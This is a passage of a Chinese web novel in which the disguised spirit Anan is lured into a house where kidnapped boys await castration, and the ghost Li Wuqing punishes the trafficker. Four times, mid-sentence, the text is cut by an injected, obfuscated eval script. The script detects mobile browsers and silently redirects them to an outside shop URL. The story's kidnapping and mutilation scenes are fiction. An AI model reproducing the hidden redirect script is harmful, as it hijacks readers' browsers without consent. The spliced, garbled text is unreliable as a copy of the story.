被法力封印的东西除了原主外,就只有法力更高的人才能破解。 “小铃,你来试试,看能不能打开。” 虎头铃铛是件法宝,法力倒比阿难更强。 它应声出战,变回法铃本体后,直接来了一个暴力掀桌——对准藤枕一头撞上去,硬生生撞出了一个大窟窿。 “小铃你可以呀!这法子好,简单粗暴直接有效。” 得到表扬的法铃得意非凡,绕在主人身旁飞个不停,铃声响得格外清脆活泼,像是在欢快地唱歌。 藤枕中藏着一个巴掌高的小瓷瓶,打开一看里面装了六七颗金澄澄的灵丹。 阿难随手倒出一颗扔进嘴里,像嚼糖豆似的嚼了起来。 “檀仙师的灵丹功效还是可以的,就是味道有点欠佳,还有提升的空间。” 法铃落在阿难的手掌上,使劲地蹭了蹭主人柔软的掌心,铃声变得十分温柔,温柔如呢喃。 “知道了小铃,我会快点好起来的。你放心,有了这瓶灵丹,我不但能痊愈如初,法力也会大有增进。” 法铃听了很开心,还飞到阿难的脸颊上用力贴了一下,像是吧唧亲了主人一大口。 “好了,我算是没事了,也不知道应长恨怎么样?步云山一别后,他活像人间蒸发了一样,再也没有任何消息。” 去年应长恨与阿难在步云山的地下暗河分开后,就此下落不明,音讯全无,三界之中再没有关于他的消息。 因为神仙座骑的黑虎之死,应长恨被高度怀疑是凶手。 太玄真君陆衢的梦令,更是让他成了众矢之的,所以他的消失横看竖看都是畏罪潜逃了。 阿难知道应长恨并不畏罪,但还是很有潜逃的必要。毕竟形势对自己不利时还是避避风头为妙,没必要吃眼前亏。 应长恨消失了将近一年,杀死黑虎的凶手罪名,也因此被认定非他莫属,理由很简单:要是不心虚你丫跑什么呢? “应长恨这小子到底躲到哪里去了?快一年了没走漏半点风声,还真是沉得住气啊!对了小铃,你还记得他家阿福吗?” 法铃用铃声表示自己的嫌弃,那个满脸傻笑的泥娃娃,它可是一百个看不上。 “小铃,你可别看不上人家阿福。如果我没猜错的话,应长恨躲着不露面肯定是在设法炼制这个法宝。一旦炼制成功,他就要出来大杀四方了。” . 草木葱茏的初夏,烟波浩渺的太湖。 太湖汪洋三万六千顷,大小七十二座峰。 位于姑苏城附近的西山岛主峰终年云封雾锁,如仙山隔云海般似有若无,得名缥缈峰,为七十二峰之首。 离开海禺山后,阿难就来了缥缈峰。 山水相连的太湖,得天地之灵气,沐日月之光辉,是一处钟灵毓秀的宝地。常年隐于云雾中的缥缈峰,更是灵气充盈。 阿难藏身于缥缈峰与太湖水之间的暗河中,自由穿梭于山水间。 他每隔七天服食一颗灵丹,利用这七天时间完全吸收丹药的精华。如此持续了一个多月,伤势已经完全无碍,法力也得到了一定提升。 休养与修行之余,阿难会以衣衫褴褛的小乞儿模样,隔三差五出现在姑苏城闹市中,打听一下外头的消息。 他常去的地方是阊门一带,那里商贾云集,店肆林立,居货山积,行人流水,是姑苏城最繁华热闹的地方,没有之一。 这天,小乞儿阿难来到阊门一带的山塘街,站在一家生意红火的酒楼门口乞讨。 进出酒楼的客人虽然很多,但大多数都对他视而不见,只有少数人会赏他一两个铜板。 有个满脸横肉的食客打着酒嗝走出酒楼时,还嫌阿难挡了道,骂骂咧咧地一脚踹过去。 “小叫花子滚远一点,好狗不挡路知道吗?” 早在横肉男抬足踹来的时候,阿难就机灵地顺势一滚,躲开了那一脚的力道。 “是是是,大爷,我这就滚。” 小乞儿那副被吓得胆战心惊的模样,让恃强凌弱的横肉男还越发得了意。 “滚得不好,重新给大爷滚一个。” 他话音刚落,就有一把圆润动听的声音,如珠子似的滚动而来。 “一个大男人欺负一个小孩子,也未免太不要脸了!” “谁他妈多管……” 横肉男眼睛一瞪,正想破口大骂,突然发现出面管闲事的人竟是一位二八佳人。 脸若莲萼,唇似樱桃,一袭绿罗裙碧如荷叶新裁,清艳得令人目眩神摇。 横肉男顿时半边身子都酥了,“美人儿,你如此美貌,该不是天仙下凡吧?” . 阿难已经认出了这位美人是谁,她并非天仙下凡,而是修成人形的花妖任天真。 任天真不是一个人,还有一位斯文儒雅的蓝衫书生与之同行。 见到横肉男垂涎三尺地盯着她看,立即摆出一副护花使者的架势,上前一步挡住他的视线。 “这位兄台,请你放尊重一点,休得无礼唐突佳人。” 横肉男压根就不把这种文弱书生放在眼里,“哼,就你这副手无缚鸡之力的样子,还想学人英雄救美吗?给老子闪一边去。” 斯文的蓝衫书生下盘不稳,被横肉男随手一推就踉跄着后退了好几步。然后他涎着脸往任天真跟前凑,打算借酒装疯吃一把美人的豆腐。 阿难在一旁默默地为横肉男点蜡: ——你惨了你惨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387960|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你只知道这个护花使者是弱鸡,却不知道这朵娇花是硬茬,她可是带刺扎手的很啊! “你找抽呢!” 任天真老实不客气地赏了横肉男一巴掌。 她那只又白又嫩的纤纤玉手,看上去似乎稍微用点力就会折了,可是抽起巴掌来却力道惊人。 横肉男被抽得整个人飞出好几步远,还摔了一个狗吃屎。 不但半边脸都木掉了,嘴里的牙齿也松动了好几颗,两颗门牙更是和着鲜血一起喷了出来。 吃了大亏的横肉男还搞不清状态,一边努力想要爬起来,一边嘴巴不干不净地怒骂。 “臭娘们,看老子……” 任天真袅袅婷婷地走上前,一脚踩住他的背,曼声道:“你骂谁呢?” 她那只莲足纤细又小巧,但踩上横肉男后,他却感觉自己像被重逾千斤的东西压住了似的,丝毫动弹不得。 这下他总算后知后觉地反应过来,这位娇花软玉似的美人儿,其实是个自己惹不起的厉害角色,一张还在滴血的嘴开始求饶了。 “我……我骂我自己,臭男人,不该唐突佳人。还请姑娘恕罪,原谅我酒后一糊涂。” “本姑娘一向心胸宽阔,可以不跟你一般见识。不过你刚才平白无故踢了这个小乞儿一脚,是不是应该补偿一下他呢?” “是是是,应该应该。我荷包里还有一点碎银子,可以都给他。姑娘觉得这样行吗?” “当然行,那就这么办。” 横肉男总算从地上爬起来后,就把自己荷包里的碎银子都给了阿难,然后赶紧走人,唯恐走得不够快。 . 阿难捧着碎银子,满脸乖巧状地向任天真道谢:“多谢美人姐姐。” “真乖,不用谢。你小小年纪怎么就在外面乞讨?你爹娘呢?” “爹娘都不在了,家里全靠姐姐做绣活度日,钱不够花,我就出来讨一点。” 阿难应答如流,杜撰了一个子乌虚有的家世。因为任天真有着一副热心肠,如果不这么说,她没准会给小乞儿安排一个容身之所。 “这样啊,那我再给你一点银子,你赶紧回家去吧。” 蓝衫书生刚才没尽到力,这会儿可以用钱解决的问题,他自然是又站出来为美人效力了。 “我有银子,我来给。” 阿难抬头看了这位蓝衫书生一眼,不知为何觉得他好像哪里有点眼熟。之前在万隆客栈出现过的那个吕郎,也给他这样一种似曾相识的感觉。 “不用了,有这些就够了,谢谢公子,谢谢美人姐姐,那我先走了。” 阿难话一说完转身就跑,一边目送他远去的身影,任天真一边赞赏不绝。 “这小乞儿真不错,一点也不贪心,家教应该很好。” “是啊,虽然是乞儿,乞讨时却从不纠缠。有人给就接了道谢,多给他还不要,倒是颇有几分君子之风呢!” 附和着任天真夸赞了阿难几句后,蓝衫书生指着路旁那家酒楼道:“真娘,这家酒楼在姑苏城很有名气,咱们不如就在此用午膳如何?” “好啊,我请你。” 49.私白 大概半个月前,任天真在一家打尖的客栈偶然遇见了这位姓孔的郎君。觉得他是自己的菜,就主动提出想与他同行。 “这位公子,我一见你就心生喜爱,想与你结伴同行,可以吗?” 孔郎也是有点见识的人,见任天真如此绝色却独自行路,又丝毫不把道德礼法的约束当作一回事,情知十有八九是妖魅之流。 如果是那种形容可怖的妖怪,孔郎自然是不敢答应的。 但任天真风姿艳逸,又是软语温存地提出要求,所以他一点也不感到害怕。 “姑娘,你是非人一族吧?” 任天真一脸坦然地点头承认。 “没错,我是妖,但我一心修仙问道,从来没来害过人,所以公子你不用怕。当然,你若实在害怕就不必勉强了,我也不会强人所难的。” “孔某虽是文弱书生,但胆子还是有一点了。姑娘如此明艳动人,愿意与我结伴同行,多一朵解语花在身旁,何乐而不可为呢?” 孔郎一口答应后,任天真就上了他的马车和他一起走。 “我要去姑苏城探亲,不知姑娘要前往何处?” “我没有目的地,就和你一起去姑苏城吧。” 两人一路上言谈甚欢,孔郎试探着问任天真是不是狐女,此番同行是否还有意自荐枕席。 虽然人与妖交合会导致精气受损,但他还是很乐意享受一下此等艳福。 “孔公子,我非狐女,修的是正道,以纯阴之身炼气化神内结金丹,将来是可以得道成仙的。修邪道的妖怪会以采补术吸人精元,虽然看似捷径,将来却会遭天谴。你最好不要被美色迷惑,否则只会落一个被妖怪吸光精元变成人干的结果。” 任天真这番话说得孔郎不免汗颜,对着她长揖道:“是小生无礼,唐突了真娘。” 顿一下后,他又不解地问:“你之前说,一见到我就心生喜爱,不知在下哪里入了真娘的青眼?” “你的脸型长得很好看,我很喜欢。” 说完原因后,任天真还伸出一只手举到孔郎的面孔前,笑盈盈地问:“我可以摸一摸你的脸吗?” “真娘请便。” 任天真用食指指尖沿着孔郎的脸形轮廓勾勒了一圈,让他不觉红了脸,心动如潮。 “不知真娘愿意与我同路多久呢?” 纵使是人妖殊途,不能有男欢女爱,能与如此绝艳的佳人朝夕相处共度时光,也是一桩不可多得的美事了。 “不会很久,呆久了容易产生感情,浮萍一聚就够了。哪天我请你吃饭,就是与你分别的时候到了,算是饯行宴。” . 此时此刻,任天真提出要请孔郎吃饭,她说得笑靥如花,他听了却是神色一黯。 “真娘这是不想再与我同行了。” “对,一开始就讲得很清楚,我只会与你同行一段路。” 虽然早就清楚和任天真只有同程一段的缘分,但分别来临时,孔郎还是有些怅然若失,却也清楚自己无法强求。 “路长而歧,能同行一段已是缘分。多谢真娘的青睐,让小生有机会一亲芳泽。” “孔郎,你这人爽快,不像其他人那样纠缠不休,我喜欢。今日一别后,若是有机会再见,我可以和你再同行一程。” 孔郎是个聪明人,一听就知道在自己之前,任天真有过不止一位同程的男子。 这位绝色的妖族美人不同于世俗女子,她完全不受道德礼法的约束,遇上中意的男子便主动亲近,是一派天真成自然的喜好流露。 这样的男色喜好对她来说,或许就如同喜欢一朵花,一棵树,一只鸟…… 觉得漂亮好看就留在身边欣赏数日,欣赏够了就另外寻觅新的美丽风景。虽然万花丛中过,却是片叶不沾身。 孔郎不知道自己还有没有机会与任天真重逢,但他不无向往地微笑。 “但愿孔某还有那样的福分,与真娘再结一段缘分。” . 小乞儿阿难一路小跑着离开了山塘街,来到上塘街。 上塘街有家很有名的糕点铺,一炉刚烤好的枣泥麻饼正热气腾腾地摆出来。 无论是酥脆金黄的外皮还是诱人的甜香,都让人食指大动,不少路人挤在柜台前购买。 阿难在糕点铺外停下来,想等人少一点再去买枣泥麻饼。否则以他眼下这副衣衫褴褛的小乞儿造型,挤在人群中只会招来嫌弃与谩骂。 不过,这一幕落在他人眼中,就成了小乞儿眼巴巴地看着别人买糕点吃,弱小可怜又无助。 “小弟弟,你是不是想吃枣泥麻饼?我可以买一块给你吃。” 一个身量不高、模样和善的老妇人,走到阿难身旁蹲下来,笑容满面地对他表示关爱,眼眸深处却带着令人难以察觉的恶意。 有道是天上没有白掉的馅饼,老妇人貌似慈和却心怀恶意,阿难猜测她可能是个人贩子,想用小恩小惠把自己拐走,毕竟闹市之中不适合明抢。 “谢谢老婆婆,你真好,就是一块饼吃不饱。” “那就买两块。” 老妇人大方地买来两块枣泥麻饼递到阿难手里。 “吃吧。” 阿难拿着饼咬了一口,嘟嘟囔囔地说:“好干啊,要是能配一碗糖粥就好了。” 糕点铺隔壁就有一个糖粥摊,老妇人只好继续自己假仁假义的表演,带着阿难过去坐下来,点了一碗糖粥给他。 阿难狼吞虎咽地吃完了两块饼和一碗粥后,老妇人纯属客气地问了一句。 “这下吃饱了吧?” “还没有,我还想吃松花楼的卤鸭。老婆婆你心肠这么好,可以请我吃吗?” 街道斜对面的松花楼,有着全姑苏城最有名的卤鸭,价格自然也不会便宜,听得老妇人眼角微微一抽。 她原本只想用一块饼就把小乞儿哄骗走,没想到这死孩子的要求还挺多。除了要吃饼,要喝糖粥,还点起了菜要吃松花楼的卤鸭。 “松花楼的卤鸭很贵的。” “那就算了,我一会儿去守在松花楼前,看有没有好心人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422975|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把没吃完的卤鸭赏我。” 老妇人已经下了饵,可不想再被鱼跑了,那样还得白搭两块枣泥麻饼和一碗糖粥的钱。 “你想吃卤鸭的话,何必非得吃松花楼的呢。婆婆家里正好也卤了一只鸭子,要不我带你回家去吃。” 阿难存心要提高一下对方的骗人成本,摆出一副小嘴很馋的架势。 “可是大家都说松花楼的卤鸭是姑苏城头一份,我很想尝尝究竟是什么滋味,还守在这儿等吧!” 老妇人怎么哄劝都没用,只得忍疼破费一把,跑去松花楼买了半只卤鸭回来。 “你想吃卤鸭吗?那就跟我回家吧!我家里缺一个跑腿的小童仆,你跟我回去了,以后就不用在街上流浪,每天都能吃上饱饭。” “真的吗?太好了。不过我能不能先吃一只卤鸭腿,不然肚子饿走不动。” “才吃了两块饼和一碗粥,居然还嚷着肚子饿,你这孩子怎么这么能吃啊?” 老妇人恼火又无奈地撕下一只鸭腿递给阿难,他一边津津有味地啃着,一边跟着她走。 这个老妇人毕竟只是一个凡人,无论想把他骗去哪里他都有能力自保。如果她真是拐骗幼童的人贩子,或许他还能搭救几个倒霉孩子。 . 天黑时分,老妇人把阿难带去了姑苏城某条街巷深处的一座宅院。 他们是从后门进去的,直接来到后罩房。家丁开了门后就去禀报主人。一个方面大耳身材魁梧的中年男子,很快踱着方步过来见客了。 “见过姜老爷,老婆子今天给您带来了一个好货色呢!” 老妇人一边说,一边把阿难推到姜老爷面前,还用手帕擦干净了他脏兮兮的小脸蛋。 “看看这孩子,模样俊秀,人也很伶俐,是不是很符合您的要求呢?” 姜老爷随手捏住阿难的下颔,抬高他的小脑袋瓜仔细端详了一番,满意地点了点头。 “嗯,这个是不错,很适合充当‘私白’。” 阿难不明白“私白”是什么意思,但直觉告诉他准不是什么好事。 “把人带去最里头那间屋子,和其他孩子关在一起。” 那个五大三粗的家丁拉着阿难往外走时,老妇人还满脸堆笑地在跟姜老爷讨赏。 “这个孩子这么让老爷满意,那老婆子的辛苦钱是不是可以多给一点啊?” “好说好说。钱婆子,这样的孩子你多送几个过来,赏钱肯定只多不少。” 钱婆子满口应承道:“行,没问题。” 后罩房最里头的一间屋子,门上拴着锁,屋内还有孩童呜呜咽咽的哭声传出来。 家丁打开房门后,阿难发现里面关着七八个小孩子。 清一色的男童,目测年纪均在十岁左右,长相都很清秀,神色也都很惊惶。 一个个头最矮小的孩子正在哭,哭得满脸涕泗横流,嗓子也哑了,显然已经哭了很久。 其他孩子虽然没像他一样哭出声,但是每个人都哭丧着小脸蛋,眼眶里也都是眼泪汪汪的。 50.完了 家丁不耐烦地训斥道:“别哭了,哭了半天还没哭累吗?再哭惹得老爷心烦,就要挨打了。” 被他这么一恐吓,那孩子吓得不敢再哭出声,却还是无法自控地抽噎着说:“我想回家,我要找我娘。” “回什么家?你爹娘都已经把你卖掉了。” 另一个男童带着哭腔的声音道:“我爹娘没有卖我,我是在家门口玩时突然被人抱走了。他们一定在找我,求求你送我回家吧!” “你也是我们老爷花钱买来的,现在只能留在姜家。” “求求你们送我回家吧,我爹娘会把钱还给你们的。” 家丁懒得理会地扭头就走,那男童一个箭步想从他身边冲出屋子,被他一把揪住后背心推了回去。 “你小子还敢跑,再不老实信不信把你吊起来打。” 恶狠狠地恐吓一番后,家丁就走出屋子重新锁上房门。 门外还传来了姜老爷的声音,正在吩咐道:“明天你去找小刀张订个日子,这批孩子可以先去势了。去势后还得养上百日,才不会耽误入秋后发卖他们。” 所谓“私白”,就是阉儿的意思。在当下的大兴王朝,经常有地方官员为了取悦皇上进献阉割后的男童。 这些阉儿的来源,往往都是被拐骗甚至强掳后再进行贩卖的民间子弟,在遭受阉割后辗转送入宫中。 还有不少人因为做这种转手阉儿的生意大发横财,譬如这位姜老爷。 一听到“去势”这个词,阿难不由自主地倒抽了一口冷气。 原本以为这些孩子遭拐卖后会沦为奴仆,谁知等待他们的命运更加悲惨,小小年纪就要被阉割。 其他孩子虽然不明白何谓“去势”,但小动物般的直觉让他们都感到了恐惧,纷纷张开嘴嚎啕大哭起来。 “爹,娘。” “我要回家。” “我要找我爹娘。” 屋里孩子们的哭声喊声乱成一片,外头的人却都懒得进屋查看,脚步声径自离去。 不过没走几步远,姜老爷的声音又重新响起来,满是惊愕不解地问:“你是谁?” 一个声音冷冰冰、阴恻恻地回答道:“我是被你招来的恶煞。” 那个辩识度很高的声音,听得阿难蓦然一凛:疫鬼厉无情——他怎么来了? . 姜老爷吩咐完家丁,原本想回正院去吃晚饭,却突然发现后门口站着一个白衣人,脚下躺着钱婆子一动不动的身影。 片刻前,钱婆子熟门熟路地打算自己从后门离开,姜老爷也没让人送她。 现在后门还关得很严实,显然她都没来得及出门就倒地不起,甚至也没来得及发出惊呼或惨叫声。 门没有打开过,这个白衣人是怎么进来的?他的面孔隐在阴影中看不清楚,一双眼睛却如冰河浸寒星,明亮又冷漠地闪烁于夜色中。 姜老爷下意识地询问对方是谁,那个阴恻恻的回答让人听了不寒而栗。他忍不住上前几步,查看来者究竟是谁。 发现那是一个外形羸弱的年轻男子,不但容貌姣丽如好女,气质亦十分阴柔,给人一种雌雄难辨的感觉。 “你这副模样是阉人吧?竟敢跑来我家装神弄鬼,真是好大的狗胆。来人,给我拿下送官。” 姜老爷犯了以貌取人的错误,误以为外形羸弱的厉无情是一只弱鸡,大声嚷着叫家丁过来抓人。 笃定地认为以那个家丁的孔武有力,一定能像老鹰抓小鸡似的轻松抓了厉无情。 屋里的阿难又默默地为姜老爷点蜡: ——你完了你完了,敢对疫鬼厉无情如此出言不逊,百分之两百要完蛋了!而且还会是死得很惨的那种完蛋。 厉无情确实被激怒了,怒火烧红了他的双眸,眼神越发冷酷无情。 “你也可以是阉人的。” 阿难隔窗听到这句话时,姜老爷的惨叫声几时是同步响起。 那叫声仿佛是冲破胸膛迸出来的,尖利无比也惨烈无比,刺入耳膜时让人无法不胆战心惊。 屋子里的孩子们都被吓得不轻,不由自主地挤成一团瑟瑟发抖,哭都不敢哭了。 阿难也果断和他们挤在一起假装害怕。 姜老爷撕心裂肺的惨叫声,从窗外持续不停地传进来,如同大雨倾盆落个不停。 其中还夹杂着那名家丁吓得魂不附体的磕头求饶声。 “公子饶命,我只是一个奴仆,从未得罪过公子,还请公子饶了我吧!” 这家丁一直跟着主人助纣为虐,在那些弱小可怜的孩童面前是个强横角色,可是遇上厉无情这种硬茬,却双腿一软直接跪下了。 刚才厉无情都没有靠近姜老爷,只是隔空伸手一抓一拧,姜老爷就捂住裤/裆惨叫着倒在地上打滚。 指缝间血流如注,嘴里嚎得跟煽猪似的,很显然子孙根已经不保。 如此匪夷所思的隔空伤人,绝非凡人能够做到的事。 亲眼目睹了这一幕的家丁,已经再清楚明白不过——这位看似阴柔女气的白衣男子,压根就不是人,一定是什么妖魔鬼怪。 “助纣为虐,你也不是什么好东西,跟他一起当阉人吧!” 厉无情再次隔空出手,让家丁步主人的后尘,成了捂着裤/裆惨叫连连的无根之人。 . 姜家前院的正屋里,姜夫人和两个儿子都在坐等姜老爷回来吃晚饭。 听见后院的动静不对,母子仨一起慌慌张张地跑了过来,被眼前的一幕惊呆了。 “出什么事了?天啊,夫君你这是怎么了?” 厉无情头也不回地漠然道:“我把他阉了!” 姜夫人大惊失色,“什么?你为何要对我夫君下此毒手?” “听说姓姜的靠贩卖阉儿起家,赚得盆满钵满,如今也很应该让他自己亲身体验一下被阉割的滋味吧?” 厉无情声音寒冷无比,整个人也像冰雕似的寒气逼人。 虽然瘦削的背影看起来一副手无缚鸡之力的孱弱模样,但是姜夫人却丝毫不敢小瞧他。 刚才姜老爷不是一个人在后院,陪在他身边的家丁还是个练家子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434682|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。厉无情能出手阉了他们俩,可想而知绝非泛泛之辈。 “你……你究竟是什么人?” “我不是人,是鬼。” 说这句话的时候,厉无情扭头看向姜夫人,那张俊美阴柔的玉白面孔已经变成青灰色,透出一股可怕的森森鬼气。 姜夫人和两个儿子都差点吓得晕了过去,一起两腿发软地跪下磕头求饶。 “此事与我等无关,求公子开恩,放过我们母子吧!” 厉无情冷锐无比的目光,轮流从姜夫人母子三人身上缓缓扫过。 那两个儿子的年纪看起来都没超过十岁,瑟瑟发抖地偎在一起,小脸蛋吓得苍白如纸。 “你们自己也有儿子,却一点也不知道幼吾幼以及人之幼。把别人的儿子加以阉割后贩卖牟利,真以为不会有报应吗?” 姜夫人听得心头一颤,很担心两个儿子会因为父亲惨遭连累,同样变成阉人,一张脸越发面无人色。 “公子,夫君的所作所为,妾身一个妇道人家管不了。两个孩子年纪尚小,也与此事无关。求公子别迁怒于我们啊!大郎二郎,快,快给公子磕头,求他放过你们。” 姜夫人磕头如捣蒜,声泪俱下,两个儿子也哭哭啼啼地跟着磕头求饶。 就连那边原本惨叫得跟煽猪似的的姜老爷,都拼命忍痛蜷起身子趴在地上,冲着厉无情拼命磕头。 “公子,祸不及妻儿。有什么报应我一个人受着,求你别伤害我两个儿子。” 听到“祸不及妻儿”这句话,厉无情沉默了片刻。 冷酷冰凉的眼眸深处,浮起一缕水草般模糊的东西,那是久远的记忆在涌动…… “好,祸不及妻儿,我只问罪于你一人即可。” 姜夫人如蒙大赦地松了一口气,搂着两个儿子又磕头叩谢道:“多谢公子。” “先别急着谢,我还有事情吩咐你办,如果办得不好,我可就要改主意了。” “是,公子尽管吩咐,妾身一定竭尽所能。” 厉无情扭头望向那间上锁的屋子,只是轻描淡写地一挥手,紧闭的房门就应声倒地,露出一屋惊恐万分的孩子。 阿难躲在最后面,尽可能把自己的存在感降到最低。 “这些孩子该怎么安置,需要我教你吗?” 姜夫人自然明白该怎么答话,恭恭敬敬地回答。 “我知道怎么做。如果是拐来的,就送他们回家。如果是家里穷养不起卖掉的,也送他们回家,再给一笔接济的钱。如果实在是无家可归的,我愿意收养他们,保证当作亲生的一样对待。” “前两条可行,最后一条就算了吧。无家可归的就送去慈幼局,顺便把姜家的全部家产也一起捐给慈幼局。” 慈幼局是朝廷专门收养弃儿的机构,有专门的款项分拨,也接受乐善好施的善人们出资捐助。 一听要把姜家家产全部捐出去,姜夫人不由自主地愣了一下。 这些年锦衣玉食的生活过惯了,如果变成了一穷二白的穷光蛋,那以后的日子可就要不好过了。 51.赌博 厉无情神色冷漠地斜睨了姜夫人一眼。 “怎么?舍不得你夫君赚的这些黑心钱吗?如果想留下也不是不行,拿两个儿子的命根子来换吧!” 这道选择题一出来,姜夫人果断摇头道:“不不不,没有舍不得。钱财乃身外之物,纵使是万两黄金也比不上我的孩子重要。” 顿了一下后,她还言辞恳切地补充了一番话。 “这些年夫君靠贩卖阉儿赚了不少钱,我们都跟着他过得很好,亦是从中获利了,以后要过落魄日子也是理应付出的代价。只要两个儿子平安无事,就算日子再苦再累,我们活着也是有盼头的。” 厉无情多看了姜夫人两眼,冰冷的眼神稍有回温。 “你会这么想,倒是比姓姜的要强多了。” “夫君做这种伤天害理的生意,我其实也不赞成,还劝过他最好收手。可是他不肯听,我也没法子,只能四处烧香拜佛求家宅平安,没想到……” “没想到神仙没有怪罪,一个鬼却打上门来了是吧?” “无论是鬼是神,都是夫君的报应到了,是他罪有应得。公子肯一码归一码,不殃及我们母子,妾身实在感激不尽。” 厉无情微微颔首道:“既然如此,那你现在就开始按吩咐办事吧!我给你三天时间,如果办得让我不满意,后果自负。” 姜夫人知道眼下只有破财消灾一条路,加重语气保证。 “是,请公子放心,妾身绝对不敢心存欺瞒。一定会按照你的吩咐把这些孩子们都安置好,也会变卖家产损给慈幼局。” 厉无情点点头后,整个人化作一团黑雾消失了,唯有声音犹自飘空。 “三日后,我会再来的。” . 这一夜,姜府的灯火彻夜通明。 姜夫人双管齐下,一边派人找来郎中给丈夫疗伤,一边张罗着安排人连夜送有家可归的孩子回家。 郎中一番止血镇痛的操作后,姜老爷总算是缓过劲来了。他惨白着一张脸,犹自很不甘心地拍着床板。 “那个鬼把我害成这副模样,还要求我把这么多年辛苦挣下的家产全部捐了,那以后咱们一家人要怎么活啊?” “老爷,钱重要还是儿子重要?你难道要为了保住家产,让两个孩子和你一样变成阉人吗?只要有手有脚咱们就饿不死了!” 姜夫人好言相劝,却被丈夫训斥道:“你一个妇道人家懂什么,快去把叔父请来主事。” 姜老爷有一位叔父,平时喜欢结交修道之人,最是热衷于向他们讨教长生不老的法子,也曾请他们来家里做过镇宅辟邪的布置。 姜叔父闻讯赶到后,姜老爷直接对他说出自己的想法。 “叔父,你能不能请一位高明的修士作法收了那个鬼?我愿以黄金百两作为酬谢。” 如果用黄金百两的酬劳就能解决掉那个白衣鬼,那么姜老爷的万贯家产就能保住。 他的子孙根已经没了,如果财产也都没了,那就无异于某种意义上的人财两空。 一听黄金百两如此丰厚的报酬,姜叔父眼珠一转后满口答应。 “行,没问题,我可以请一位厉害的修士来收了那个鬼,替侄儿你报仇雪恨。” 姜夫人对丈夫与叔父的合计深感不安,再次试图劝阻。 “夫君三思啊!万一修士收鬼不成,只会更加激怒他,到时候咱们两个儿子可就要遭殃了!” 一听这话,姜老爷不禁面露犹豫之色,姜叔父却在一旁大包大揽地夸下海口。 “侄媳妇放心,我请来的修士法术高明,一定能收服恶鬼,保住你们的万贯家产,两个侄孙也不会有事的。” “凡事不怕一万,就怕万一。万一要是修士失手了呢?到时候鬼公子发怒,别说我们一家人,恐怕叔父你也难逃干系,还是不要多此一举为妙。” 这话姜叔父不爱听。 “侄媳妇,你知道我准备请来降鬼的修士是谁?那可是万象宗的长老玉恒真人。有他出手还怕制服不了区区一个鬼吗?” 一听能请到来自万象宗的修真高人,姜老爷顿时精神一振,王八吃秤砣似的铁了心。 “太好了!那就有劳叔父出面,把玉恒真人请来收拾那个鬼。” 姜夫人还是不放心,两个儿子是她身上掉下来的肉,哪怕是万分之一的风险她都不想承担。姜叔父前脚离开后,她后脚就盈盈含泪地跪倒在丈夫面前。 “既然夫君执意要这么做,那就请一纸休书将我休回娘家,并允许我带走两个孩子。倘若万一事情不成,至少我们母子仨可以不用被连累。” 姜老爷沉思片刻后点了头。 “也罢,我这么做是在赌博,如果赌嬴了家产就能保住,如果赌输了……现在把你和孩子休回娘家,万一赌输了也是我一个人倒霉。反正我已是废人一个生不如死,只要你们可以撇干净就行。” 得到休书后,姜夫人连夜收拾好行李,次日一早就带着两个儿子离去。临走前,她来到丈夫的床前辞别。 “我带上孩子们走了。” “好,你们娘仨先离开几日,等到玉恒真人收服了那个鬼后,我再派人去接你们回来。” 姜夫人注视着丈夫的面孔,缓慢而坚决地摇起了头。 “无论结果如何,我和孩子都不会回来了。就算是玉恒真人能收服这个鬼,也难保日后不会有其他鬼神来找你的麻烦。你执迷不悟不肯回头,我却是要为两个儿子考虑的。从今往后,你的福我不会再享,你的难也就与我无关。咱们就此一拍两散,互不干扰。” 乘坐马车离开姜家时,姜夫人带上了最后三个无家可归的孩子,阿难就是其中之一。 姜夫人先把三个孩子送去了慈幼局,还把随身携带的金银细软都留下作为捐资,请慈幼局的人妥善照顾他们。 重新回到马车上后,她紧紧搂着两个儿子,眉宇间难掩忧色:儿啊!娘已经尽力了,做了自己能做到的一切。如果你们的父亲再次惹出祸端,可千万千万不要连累到你们啊! . 三日后,夜半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462923|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时分,姜府。 